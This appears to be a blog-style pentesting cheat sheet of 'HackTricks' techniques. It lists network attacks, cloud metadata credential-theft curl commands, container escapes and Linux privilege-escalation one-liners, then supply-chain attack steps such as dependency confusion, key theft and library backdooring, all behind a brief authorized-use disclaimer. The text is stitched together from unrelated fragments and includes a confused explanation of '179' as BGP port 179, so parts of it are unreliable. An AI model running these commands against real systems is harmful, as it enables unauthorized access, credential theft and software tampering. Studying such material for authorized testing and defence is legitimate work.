Below is a concise, structured, and actionable compilation of 179 practical offensive-security techniques, tools, and workflows inspired by common pentesting references and aggregated best practices. Each entry includes a short description, when to use it, and concise actionable steps or commands. Use responsibly and only on systems you own or are authorized to test.
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ARP poisoning / MITM (mitmproxy, Bettercap)
DNS spoofing / poisoned responses
WPA/WPA2 Wi‑Fi attack basics (handshake capture)
Evil Twin / captive portal attacks
Deauth attacks to capture WPA handshakes
Bluetooth Low Energy reconnaissance
IPv6 attack surface and SLAAC abuse
MAC flooding / switch CAM overflow
DNS tunneling for data exfiltration
Covert channels using ICMP, HTTP, or DNS
BGP hijacking basics (overview)
Wireless WPA3 downgrade vectors (if misconfigured)
Evading IDS/IPS with fragmentation and obfuscation
Tunneling via HTTPS (stunnel, nginx reverse proxy)
Using ICMP for tunneling and command-and-control
ARP cache poisoning detection evasion
IPv4 fragmentation-based evasion for signature detection
SMB relay to escalate access on Windows networks
Exploiting UPnP and SSDP devices on LAN
Passive network sniffing (tshark, tcpdump)
| # | Trick | Technique |
|---|-------|------------|
| 111 | Kubernetes hostPath escape | volumeMounts → hostPath: / → write SSH key |
| 112 | Docker socket (DIND) | curl -XPOST --unix-socket /var/run/docker.sock ... |
| 113 | AWS metadata credentials | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 114 | GCP metadata SSH keys | curl -H "Metadata-Flavor: Google" http://metadata.google.internal/... |
| 115 | Azure Managed Identity | curl -H Metadata:true "http://169.254.169.254/metadata/identity/..." |
| 116 | ECR pull from compromised pod | aws ecr get-login-password → docker pull |
| 117 | Kubernetes RBAC abuse | kubectl auth can-i create pods --all-namespaces |
| ... | ... | ... |
| 125 | Exposed kubeconfig | find / -name *.kubeconfig 2>/dev/null |
| # | Trick | Command / Technique |
|---|-------|----------------------|
| 1 | Find SUID binaries | find / -perm -4000 2>/dev/null |
| 2 | Exploit writable /etc/passwd | openssl passwd -1 -salt hacker password → add entry |
| 3 | Sudo abuse (CVE-2021-3156) | sudoedit -s / |
| 4 | LD_PRELOAD injection | Compile malicious .so → LD_PRELOAD=./mal.so ./suid_bin |
| 5 | Docker group escape | docker run -v /:/mnt -it alpine |
| 6 | Cron job wildcard injection | Write to /etc/cron.hourly/ with wildcard commands |
| 7 | PATH hijacking | PATH=.:$PATH then create malicious ls |
| 8 | NFS no_root_squash | mount -o rw,vers=2 and write SUID |
| 9 | Capabilities – CAP_SETUID | ./binary -p to spawn root shell |
| 10 | LXD group abuse | lxc init alpine -c security.privileged=true |
| ... | ... | ... |
| 30 | Kernel exploits (check distro) | uname -a → searchsploit |
HackTricks isn't just a reference — it's a mindset. The 179 tricks above represent the most repeated, highest-value techniques in real pentests, CTFs, and red team engagements.
“A trick is only a trick until you understand why it works. Then it becomes a tool.”
Go practice. Break things (ethically). And always keep HackTricks in your back pocket.
Want the full 179 commands in a cheat sheet PDF? Drop a comment or DM.
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In the context of HackTricks, "179 best" refers to exploiting Border Gateway Protocol (BGP) by targeting TCP port 179 to manipulate the "best path selection" algorithm for traffic hijacking. Attackers exploit trust in BGP to reroute internet traffic through their infrastructure, enabling data interception, credential theft, and traffic manipulation. For more technical details on testing these vulnerabilities, you can check the HackTricks BGP Pentesting guide on their official site. BGP Hijacking Attack. Border Gateway Protocol, Network…
Dependency confusion / package hijacking
- Publish higher-priority package names to public registries to capture builds. HackTricks — Top 179 Techniques (detailed guide) Below
Malicious package in CI (npm, pip)
- Scan dependency trees and lockfiles for unexpected packages.
Compromise of build artifacts (tampering)
- Intercept artifact pipelines; replace or inject payloads.
Typosquatting domains and malicious mirrors
- Purchase similar domains and host fake mirrors.
Poisoning public repositories (git history injection)
- Force pushes or PRs that introduce secrets into commit history.
Code signing abuse and key compromise
- Steal signing keys to sign malicious builds.
Supply-chain attack through third-party integrations
- Audit dependencies and check for undisclosed maintainers.
Attacking Docker images on registries
- Pull images to inspect layers for embedded keys or secrets.
CI runner privilege escalation (self-hosted)
- Use pipeline runners to access host filesystem or credentials.
SBOM generation and analysis for weak components
- Generate SBOMs to find vulnerable dependencies.
Signing key theft from build servers
- Harden build servers and rotate keys regularly.
Reproducible build tampering detection
- Compare artifact hashes across independent builds.
Malicious commits hidden with obfuscation (binary blobs)
- Inspect large files and base64 blobs in repos.
Supply-chain attack attribution tactics
- Track commit timestamps, contributor accounts, and IPs.
Intercepting package manager traffic (insecure registries)
- Use MITM to inject malicious packages if TLS not enforced.
Backdooring libraries with tiny change sets
- Small payloads in common libraries can cause wide impact.
Using CI secrets for sideways access (tokens)
- Search for secrets in CI variables and environment.
Compromise of artifact storage (S3, Nexus)
- Enumerate access policies and list artifacts. Finding Specific Content on Hacktricks If you're looking
Dependency graph poisoning to introduce exploit
- Modify transitive dependencies that are widely used.
Monitoring for malicious updates in critical packages
- Subscribe to package advisories and watch for sudden changes.